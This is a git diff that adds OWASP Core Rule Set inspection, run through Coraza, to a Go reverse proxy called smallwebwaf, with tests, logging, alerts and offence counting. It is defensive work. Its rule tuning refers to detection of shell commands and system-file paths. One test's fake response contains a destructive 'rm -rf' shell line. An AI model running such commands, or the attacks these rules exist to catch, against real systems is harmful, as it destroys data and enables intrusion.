http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "", + []int{920440}, + }, + { + "an editor's settings", http.MethodGet, + "/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140}, + }, + } { + t.Run(request.name, func(t *testing.T) { + t.Parallel() + + body := "" + if request.method != http.MethodGet { + body = "push" + } + + // By default, the rules are switched off. + s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) + line, _ := s.requestWithBody(request.method, client, request.path, + request.header, body, http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, new(0)) + + // A list given replaces the default. + s, _, _ = startWithClock(t, "", map[string]string{ + wafMode: block, wafDisabledRules: "942100", + }) + score := 5 * len(request.ruleIDs) + line, _ = s.requestWithBody(request.method, client, request.path, + request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked) + wantWAF(t, line, &score, request.ruleIDs...) + + // And switches off the rules it lists. + line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + wantWAF(t, line, new(0)) + }) + } +} + +func TestResponsesAreNotInspected(t *testing.T) { + t.Parallel() + + // A raw shell script, and an SQL error, which the Core Rule Set's rules + // for responses take for a leak. + const page = "#!/bin/sh\nrm -rf /tmp/build\n" + + "You have an error in your SQL syntax; check the manual that " + + "corresponds to your MySQL server version\n" + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write([]byte(page)) + }) + addr, out := startProxy(t, app.URL, map[string]string{wafMode: block}) + + got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") + if got.status != http.StatusOK || string(got.body) != page { + t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body) + } + + wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward) +} + +func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" + + s, _, server := startWithClock(t, "", map[string]string{ + wafMode: block, errorBurstThreshold: "2", metricsToken: token, + }) + + for range 2 { + s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked) + } + + // The third refusal in a minute breaks the error burst, and bans the + // client. + line := s.request(client, sqlInjection, http.StatusForbidden, + requestlog.ActionWAFBlocked) + if line.LimitHit != requestlog.LimitHitErrorBurst || + line.Offence != requestlog.OffenceLimit { + t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit", + line.LimitHit, line.Offence) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + want := ratelimit.Offences{Limit: 1, WAFBlocked: 3} + if offences := historyOf(t, server, client).Offences; offences != want { + t.Errorf("history counts the offences %+v, want %+v", offences, want) + } + + metrics := s.scrape(scraper) + wantMetric(t, metrics, + `smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3) + wantMetric(t, metrics, + `smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3) + wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+ + `instance="app",status_class="4xx"}`, 3) +} + +func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" + + s, _, server := startWithClock(t, "", map[string]string{ + wafMode: detect, errorBurstThreshold: "2", metricsToken: token, + }) + + for range 3 { + s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + } + + s.get(client, http.StatusOK, requestlog.ActionForward) + + offences := historyOf(t, server, client).Offences + if offences != (ratelimit.Offences{}) { + t.Errorf("history counts the offences %+v, want none", offences) + } + + metrics := s.scrape(scraper) + wantMetric(t, metrics, + `smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3) + wantNoSeries(t, metrics, + `smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`) +} + +func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe}) + + line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionWAFBlocked) + wantWAF(t, line, new(5), 942100) + + // It is an offence as in enforce mode. + want := ratelimit.Offences{WAFBlocked: 1} + if offences := historyOf(t, server, client).Offences; offences != want { + t.Errorf("history counts the offences %+v, want %+v", offences, want) + } +} + +func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + // status and action are what the request is answered and logged + // with, and alertMode what the alert's detail gives as mode, if + // anything. + status int + action, alertMode string + }{ + { + "block", map[string]string{wafMode: block}, + http.StatusForbidden, requestlog.ActionWAFBlocked, "", + }, + { + "detect", map[string]string{wafMode: detect}, + http.StatusOK, requestlog.ActionForward, detect, + }, + { + "block in observe mode", map[string]string{wafMode: block, mode: observe}, + http.StatusOK, requestlog.ActionForward, observe, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + s, clk, _, queue := startWithAlerts(t, tc.env) + + // The second is a repeat, which the cooldown holds back, and an + // ordinary request raises none. + for range 2 { + s.request(client, sqlInjection, tc.status, tc.action) + } + + s.get(client, http.StatusOK, requestlog.ActionForward) + + detail := map[string]any{ + "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet, + "path": sqlInjection, + } + if tc.alertMode != "" { + detail["mode"] = tc.alertMode + } + + wantAlerts(t, queue, alerts.Alert{ + Instance: alertInstance, + Time: clk.Now(), + Event: alerts.EventWAFBlock, + Client: netip.MustParseAddr(client), + Netblock: netip.MustParsePrefix(client + "/32"), + Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD", + Detail: detail, + }) + + if queue.Suppressed() != 1 { + t.Errorf("%d alerts held back, want the repeat", queue.Suppressed()) + } + }) + } +} diff --git a/internal/proxy/errorburst_test.go b/internal/proxy/errorburst_test.go index 6afde47..bd8434c 100644 --- a/internal/proxy/errorburst_test.go +++ b/internal/proxy/errorburst_test.go @@ -248,8 +248,6 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { func TestErrorBurstOffOrAtItsDefault(t *testing.T) { t.Parallel() - const off = "off" - for _, tc := range []struct { threshold string // broken is whether the 31st refusal breaks the error burst. diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 6d4b9b7..d0e64ac 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -21,6 +21,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" + "sneak.berlin/go/smallwebwaf/internal/waf" ) // How smallwebwaf keeps connections to the app open between requests. @@ -75,9 +76,10 @@ type Params struct { // Alerts receive the alert for each ban the proxy makes or makes // permanent, for each count over an anomaly threshold, for each request // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or - // AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a - // query to a DNSBL zone or a check with AbuseIPDB failing, or the day's - // AbuseIPDB checks used up. + // AbuseIPDB lists, for each request the Core Rule Set scores at or over + // SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list + // failing, a query to a DNSBL zone or a check with AbuseIPDB failing, + // or the day's AbuseIPDB checks used up. Alerts *alerts.Queue } @@ -144,12 +146,13 @@ func New(params Params) *Server { NamedNetblocks: params.Config.WatchNets, Alerts: params.Alerts, }), - lookupFile: params.LookupFile, - lists: lists, - dnsbl: dnsbl, - abuseIPDB: abuseIPDB, - rules: params.Rules, - alerts: params.Alerts, + lookupFile: params.LookupFile, + lists: lists, + dnsbl: dnsbl, + abuseIPDB: abuseIPDB, + rules: params.Rules, + coreRuleSet: newCoreRuleSet(params.Config), + alerts: params.Alerts, } h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, @@ -228,26 +231,48 @@ func newReputation( return lists, dnsbl, abuseIPDB } +// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL, +// without the rules SWWAF_WAF_DISABLED_RULES switches off, or nil while +// SWWAF_WAF_MODE is off. +func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet { + if cfg.WAFMode == config.WAFModeOff { + return nil + } + + coreRuleSet, err := waf.New(waf.Params{ + ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, + }) + if err != nil { + // The Core Rule Set is built in, and the settings cannot break it: + // the paranoia level is from 1 to 4, and the id of no rule switches + // nothing off. + panic(err) + } + + return coreRuleSet +} + // handler is the proxy. It holds what every request shares; what belongs // to one request is in a request. type handler struct { - config *config.Config - requestLog io.Writer - processLog *slog.Logger - errorLog *log.Logger - transport http.RoundTripper - now func() time.Time - metrics *metrics.Metrics - limiter *ratelimit.Limiter - ledger *bans.Ledger - geojs *lookup.GeoJS - anomalies *anomaly.Counters - lookupFile *lookup.File - lists *reputation.Lists - dnsbl *reputation.DNSBL - abuseIPDB *reputation.AbuseIPDB - rules *rules.Files - alerts *alerts.Queue + config *config.Config + requestLog io.Writer + processLog *slog.Logger + errorLog *log.Logger + transport http.RoundTripper + now func() time.Time + metrics *metrics.Metrics + limiter *ratelimit.Limiter + ledger *bans.Ledger + geojs *lookup.GeoJS + anomalies *anomaly.Counters + lookupFile *lookup.File + lists *reputation.Lists + dnsbl *reputation.DNSBL + abuseIPDB *reputation.AbuseIPDB + rules *rules.Files + coreRuleSet *waf.CoreRuleSet + alerts *alerts.Queue } // newTransport returns what carries requests to the app. It never goes diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 77a3c42..8507de6 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -85,8 +85,12 @@ const ( logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" rulesDir = "SWWAF_RULES_DIR" + wafMode = "SWWAF_WAF_MODE" ) +// off is the value that switches a setting off. +const off = "off" + // output collects what smallwebwaf writes on stdout. type output struct { mu sync.Mutex @@ -271,7 +275,9 @@ func startProxyWithAlerts( // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE // is off unless env sets it. While it is file, the lookup database // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB -// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. +// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off +// unless env sets it, so that only the tests of the Core Rule Set have +// their requests inspected by it. func newProxy( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, @@ -280,9 +286,10 @@ func newProxy( settings := map[string]string{ "SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app", + wafMode: off, } if geojsURL == "" { - settings[lookupSource] = "off" + settings[lookupSource] = off } maps.Copy(settings, env) diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go index 05040f9..d296a89 100644 --- a/internal/proxy/reputation_test.go +++ b/internal/proxy/reputation_test.go @@ -725,6 +725,10 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test "a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked, ratelimit.Offences{RuleBlocked: 1}, }, + { + "the Core Rule Set", sqlInjection, http.StatusForbidden, + requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1}, + }, { "a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned, ratelimit.Offences{Attack: 1}, @@ -744,7 +748,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test s, clk, server := startWithClock(t, "", map[string]string{ abuseIPDBKey: accountKey, reputationAction: actionLog, rulesDir: writeRules(t, testRules), attackBanDuration: "1h", - trapPaths: trapPathList, metricsToken: token, + trapPaths: trapPathList, metricsToken: token, wafMode: block, }) s.request(client, tc.path, tc.status, tc.action) diff --git a/internal/proxy/request.go b/internal/proxy/request.go index ec9eac8..646a9a1 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -65,10 +65,10 @@ type request struct { counted bool limitPercent, bytesPercent percentage // attack is true for a request that matched a ban rule or asked for a - // trap path, ruleBlocked for one a block rule refused, and - // tokenRefused for one refused for a missing or wrong token, each an - // offence its client's history counts. - attack, ruleBlocked, tokenRefused bool + // trap path, ruleBlocked for one a block rule refused, wafBlocked for + // one the Core Rule Set refused, and tokenRefused for one refused for a + // missing or wrong token, each an offence its client's history counts. + attack, ruleBlocked, wafBlocked, tokenRefused bool // blocklisted is true once a blocklist is found to list the client, // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once // AbuseIPDB's score of it is a hit. @@ -190,11 +190,11 @@ func requestHeaders(r *http.Request, names []string) map[string]string { // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It // returns nil to let the request through. The checks of checkClient come -// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and -// then the size limit, so that a request the rate limits count is counted -// even when it is refused for its size. In observe mode a request -// checkClient refuses goes on to the size limit like any other. ctx is -// the request's own context. +// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule or the +// Core Rule Set, and then the size limit, so that a request the rate +// limits count is counted even when it is refused for its size. In +// observe mode a request checkClient refuses goes on to the size limit +// like any other. ctx is the request's own context. func (rq *request) check(ctx context.Context) *refusal { action := rq.checkClient(ctx) @@ -203,7 +203,7 @@ func (rq *request) check(ctx context.Context) *refusal { case rq.h.config.Observe: // The log line names what enforce mode would have done. rq.line.WouldAction = action - case action == requestlog.ActionRuleBlocked: + case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked: return &refusal{status: http.StatusForbidden, action: action} default: return rq.banResponse(action) @@ -233,9 +233,9 @@ func (rq *request) check(ctx context.Context) *refusal { // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that // every other request is counted, each of them by the client's limit -// percentages, then SWWAF_TRAP_PATHS, and last the rule files. A request -// exempt from the rate limits is exempt from the byte limits too. ctx is -// the request's own context. +// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the +// Core Rule Set. A request exempt from the rate limits is exempt from the +// byte limits too. ctx is the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -286,15 +286,20 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionBanned } - return rq.checkRules(now) + action := rq.checkRules(now) + if action != "" { + return action + } + + return rq.checkCoreRuleSet() } -// pathExempt reports whether the rate limits leave out a request for u -// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the -// path the app receives, not percent-decoded, starts with one of -// prefixes, so that /%61ssets/x is not under /assets/ for an app whose -// router matches the path as received. A request whose decoded path -// contains .. anywhere or a backslash, or whose path as sent holds an +// pathExempt reports whether a request for u is exempt under prefixes, +// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its +// path as sent, the path the app receives, not percent-decoded, starts +// with one of prefixes, so that /%61ssets/x is not under /assets/ for an +// app whose router matches the path as received. A request whose decoded +// path contains .. anywhere or a backslash, or whose path as sent holds an // encoded slash (%2F or %2f), never is, since an app may act on it as a // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx // as one path segment, as Go's router does. @@ -562,6 +567,7 @@ func (rq *request) addToHistory() { BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, Attack: rq.attack, RuleBlocked: rq.ruleBlocked, + WAFBlocked: rq.wafBlocked, TokenRefused: rq.tokenRefused, } diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 9bab344..2413ac6 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -124,11 +124,12 @@ type Offences struct { // Limit is its requests that broke a rate limit, a byte limit or the // error burst, Attack those that were a clear sign of attack, a match // of a ban rule or a request for a trap path, RuleBlocked those a block - // rule refused, and TokenRefused those refused for a missing or wrong - // token. + // rule refused, WAFBlocked those the Core Rule Set refused, and + // TokenRefused those refused for a missing or wrong token. Limit int64 `json:"limit"` Attack int64 `json:"attack"` RuleBlocked int64 `json:"rule_blocked"` + WAFBlocked int64 `json:"waf_blocked"` TokenRefused int64 `json:"token_refused"` } @@ -148,11 +149,13 @@ type Request struct { ResponseBytes int64 // BrokeLimit is true for a request that broke a rate limit, a byte // limit or the error burst, Attack for one that matched a ban rule or - // asked for a trap path, RuleBlocked for one a block rule refused, and - // TokenRefused for one refused for a missing or wrong token. + // asked for a trap path, RuleBlocked for one a block rule refused, + // WAFBlocked for one the Core Rule Set refused, and TokenRefused for + // one refused for a missing or wrong token. BrokeLimit bool Attack bool RuleBlocked bool + WAFBlocked bool TokenRefused bool } @@ -236,10 +239,10 @@ func (l *Limiter) CountBytes( } // CountRefusal counts a request from client at now that smallwebwaf -// refused after a rule file match or for a missing or wrong token, and -// reports whether the client's refusals in the minute that ends at now, -// this one included, are more than threshold, which breaks the error -// burst, and the hit. +// refused after a rule file or Core Rule Set match or for a missing or +// wrong token, and reports whether the client's refusals in the minute +// that ends at now, this one included, are more than threshold, which +// breaks the error burst, and the hit. func (l *Limiter) CountRefusal( client netip.Prefix, now time.Time, threshold int64, ) (Hit, bool) { @@ -304,6 +307,10 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { h.Offences.RuleBlocked++ } + if r.WAFBlocked { + h.Offences.WAFBlocked++ + } + if r.TokenRefused { h.Offences.TokenRefused++ } diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 3f02e70..d9b5f66 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -36,6 +36,9 @@ const ( // ActionRuleBlocked is a request refused because it matched a block // rule. ActionRuleBlocked = "rule_blocked" + // ActionWAFBlocked is a request refused because the Core Rule Set + // scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD. + ActionWAFBlocked = "waf_blocked" // ActionDenied is a request refused because its client is in // SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while @@ -123,8 +126,8 @@ type Line struct { Action string `json:"action"` // WouldAction is, in observe mode, the action enforce mode would have // taken with a request it would have refused: ActionDenied, - // ActionBanned, ActionCountryDenied, ActionRateLimited or - // ActionRuleBlocked. + // ActionBanned, ActionCountryDenied, ActionRateLimited, + // ActionRuleBlocked or ActionWAFBlocked. WouldAction string `json:"would_action,omitempty"` // LimitPercent and LimitPercentSetting are, for a request the rate // limits counted whose client a biased threshold gives a percentage of @@ -142,6 +145,11 @@ type Line struct { Counts ratelimit.Counts `json:"counts,omitzero"` // RuleIDs are the ids of the rule file rules the request matched. RuleIDs []string `json:"rule_ids,omitempty"` + // WAFRuleIDs are the ids of the Core Rule Set's rules the request + // matched, and WAFScore its anomaly score, nil for a request the Core + // Rule Set did not inspect. + WAFRuleIDs []int `json:"waf_rule_ids,omitempty"` + WAFScore *int `json:"waf_score,omitempty"` // LimitHit is the window whose limit the request went over, named as // Counts names its count: minute, hour or day for a rate limit, and // minute_bytes, hour_bytes or day_bytes for a byte limit; or @@ -159,13 +167,15 @@ type Line struct { BanExpires string `json:"ban_expires,omitempty"` // The timings, in milliseconds. DurationChecks is the time until the - // checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte - // and DurationUpstreamTotal run from when the request was handed to the + // checks were done, and DurationWAF the part of it the Core Rule Set + // took. DurationUpstreamConnect, DurationUpstreamFirstByte and + // DurationUpstreamTotal run from when the request was handed to the // app: until there was a connection to it, until the first byte of its // answer arrived, and until the end. Each but DurationTotal is nil for // a request that did not get that far. DurationTotal float64 `json:"duration_total"` DurationChecks *float64 `json:"duration_checks,omitempty"` + DurationWAF *float64 `json:"duration_waf,omitempty"` DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"` DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"` DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"` diff --git a/internal/waf/waf.go b/internal/waf/waf.go new file mode 100644 index 0000000..c28c7b3 --- /dev/null +++ b/internal/waf/waf.go @@ -0,0 +1,228 @@ +// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the +// method, the URL with its query and the headers of a request, with the +// six changes smallwebwaf makes to it, as "Attack detection" under +// "Configuration surface" in SPEC.md describes them. It reads no request +// body and no response. +package waf + +import ( + "fmt" + "net/http" + "net/netip" + "slices" + "strconv" + "strings" + + coreruleset "github.com/corazawaf/coraza-coreruleset/v4" + "github.com/corazawaf/coraza/v3" + "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" + "github.com/corazawaf/coraza/v3/types" +) + +// directives are the Core Rule Set as smallwebwaf runs it, with the +// paranoia level for %d. Each rule smallwebwaf adds has an id from 900000 +// to 900999, the ids the Core Rule Set keeps for the rules that set it +// up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting switches +// one off. Coraza joins a line ending in \ to the next, without the spaces +// at the start of the next. +const directives = ` +# The engine only detects. smallwebwaf compares the request's anomaly +# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode +# alike. It reads no body. +SecRuleEngine DetectionOnly +SecRequestBodyAccess Off +SecResponseBodyAccess Off + +Include @crs-setup.conf.example + +SecAction "id:900000,phase:1,pass,nolog,\ + setvar:tx.blocking_paranoia_level=%d" + +# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD, +# POST and OPTIONS. +SecAction "id:900200,phase:1,pass,nolog,\ + setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'" + +# The second: Expect and Content-Encoding are taken off the Core Rule Set's +# list of the headers it refuses. Content-Encoding stays refused on a body +# the Core Rule Set reads, and it reads none. +SecAction "id:900250,phase:1,pass,nolog,\ + setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \ + /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \ + /x-middleware-subrequest/'" + +# The sixth: only the rules for requests are loaded, and no response is +# inspected. +Include @owasp_crs/REQUEST-*.conf + +# The third: redirect_uri is not checked for a URL naming an IP address or +# localhost. Coraza matches a parameter name here, and in the fourth, +# without regard to case. +SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" +SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" + +# The fourth: the query parameters in which gitea sends names within a +# repository or its own records, or a page of its own site, are not +# checked against the lists of system files, shell paths and command +# names. Coraza takes one rule id per directive. +SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ + !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ + !ARGS:artifactName|!ARGS:redirect_to" +SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ + !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ + !ARGS:artifactName|!ARGS:redirect_to" +SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\ + !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\ + !ARGS:artifactName|!ARGS:redirect_to" + +# The fifth, for Referer: it is not checked for a Unix command without +# arguments, or for Java starting a process. The cookies are left out in +# Inspect. +SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" +SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" + +# Coraza keeps the first 1000 query parameters of a request and drops the +# rest, which no rule then reads, so a request with more adds 5 to the +# score, as a rule the Core Rule Set rates critical does. Coraza's +# recommended configuration refuses such a request in its rule 200004. +# This rule comes after the Core Rule Set's, which set the score to 0 in +# the same phase. +SecArgumentsLimit 1000 +SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:1,pass,\ + severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" +` + +// cookiesNotRead are the cookies the Core Rule Set reads a request +// without, the rest of the fifth change. +// +//nolint:gochecknoglobals // a constant cannot be a list +var cookiesNotRead = []string{"gitea_flash", "redirect_to"} + +// Params are what New needs. +type Params struct { + // ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4. + ParanoiaLevel int + // DisabledRules are the ids of the rules switched off + // (SWWAF_WAF_DISABLED_RULES). + DisabledRules []int +} + +// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe +// for concurrent use. +type CoreRuleSet struct { + waf coraza.WAF +} + +// New returns the Core Rule Set with the six changes, at params' +// paranoia level and without the rules it switches off. +func New(params Params) (*CoreRuleSet, error) { + text := fmt.Sprintf(directives, params.ParanoiaLevel) + + if len(params.DisabledRules) > 0 { + ids := make([]string, len(params.DisabledRules)) + for i, id := range params.DisabledRules { + ids[i] = strconv.Itoa(id) + } + + text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n" + } + + waf, err := coraza.NewWAF(coraza.NewWAFConfig(). + WithRootFS(coreruleset.FS). + WithDirectives(text)) + if err != nil { + return nil, fmt.Errorf("load the Core Rule Set: %w", err) + } + + return &CoreRuleSet{waf: waf}, nil +} + +// Result is what the Core Rule Set found in a request. +type Result struct { + // RuleIDs are the ids of the rules that matched, in the order they + // ran. + RuleIDs []int + // Score is the request's anomaly score: what those rules add up to. + Score int +} + +// Inspect runs the Core Rule Set on r, a request from client: on its +// method, its URL with the query, and its headers, the Cookie header +// without the cookies in cookiesNotRead. +func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result { + tx := c.waf.NewTransaction() + // With no body read, there is nothing whose closing can fail. + defer func() { _ = tx.Close() }() + + tx.ProcessConnection(client.String(), 0, "", 0) + tx.ProcessURI(r.URL.String(), r.Method, r.Proto) + + for name, values := range r.Header { + for _, value := range values { + if name == "Cookie" { + value = withoutCookiesNotRead(value) + if value == "" { + continue // it held those cookies alone + } + } + + tx.AddRequestHeader(name, value) + } + } + + // Go's server takes these two out of the headers. + tx.AddRequestHeader("Host", r.Host) + + for _, encoding := range r.TransferEncoding { + tx.AddRequestHeader("Transfer-Encoding", encoding) + } + + tx.ProcessRequestHeaders() + // With no body read, this runs the rest of the rules, and cannot fail. + _, _ = tx.ProcessRequestBody() + + var ids []int + + for _, matched := range tx.MatchedRules() { + // The rules that look for attacks have a severity; the others set + // the Core Rule Set up and add up the score. + rule := matched.Rule() + if rule.Severity() != types.RuleSeverityUnset { + ids = append(ids, rule.ID()) + } + } + + return Result{RuleIDs: ids, Score: score(tx)} +} + +// score returns the anomaly score the Core Rule Set added up in tx, a +// transaction it has run, or 0 if a rule that adds it up is switched off. +func score(tx types.Transaction) int { + // The score is in a variable of the transaction, which only Coraza's + // interface for plugins reads. + state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is + + values := state.Variables().TX().Get("blocking_inbound_anomaly_score") + if len(values) == 0 { + return 0 + } + + n, _ := strconv.Atoi(values[0]) + + return n +} + +// withoutCookiesNotRead returns value, a Cookie header's, without the +// cookies in cookiesNotRead. +func withoutCookiesNotRead(value string) string { + var kept []string + + for cookie := range strings.SplitSeq(value, ";") { + name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=") + if !slices.Contains(cookiesNotRead, name) { + kept = append(kept, cookie) + } + } + + return strings.Join(kept, ";") +} diff --git a/internal/waf/waf_test.go b/internal/waf/waf_test.go new file mode 100644 index 0000000..89bff70 --- /dev/null +++ b/internal/waf/waf_test.go @@ -0,0 +1,322 @@ +package waf_test + +import ( + "net/http" + "net/http/httptest" + "net/netip" + "reflect" + "strings" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/waf" +) + +// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off +// by default. +// +//nolint:gochecknoglobals // a constant cannot be a list +var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140} + +// newCoreRuleSet returns the Core Rule Set at paranoia level level, with +// the rules in disabled switched off. +func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet { + t.Helper() + + crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled}) + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + return crs +} + +// request is a request a test inspects: its method, its target, the path +// and the query as a client sends them, and its headers, each written +// "Name: value". +type request struct { + method, target string + headers []string +} + +// get is a GET request for target with headers. +func get(target string, headers ...string) request { + return request{http.MethodGet, target, headers} +} + +// inspect returns what crs finds in r, sent to git.example by a browser, +// whose Host, User-Agent and Accept r.headers may replace. +func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result { + t.Helper() + + req := httptest.NewRequestWithContext(t.Context(), r.method, + "http://git.example"+r.target, http.NoBody) + req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0") + req.Header.Set("Accept", "text/html") + + for _, header := range r.headers { + // Go's server keeps Host and Transfer-Encoding out of the headers. + name, value, _ := strings.Cut(header, ": ") + switch name { + case "Host": + req.Host = value + case "Transfer-Encoding": + req.TransferEncoding = []string{value} + default: + req.Header.Set(name, value) + } + } + + return crs.Inspect(req, netip.MustParseAddr("203.0.113.9")) +} + +// wantResult checks what crs finds in r. +func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) { + t.Helper() + + if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) { + t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want) + } +} + +// matched is the result of a request that the rules ids match, each of 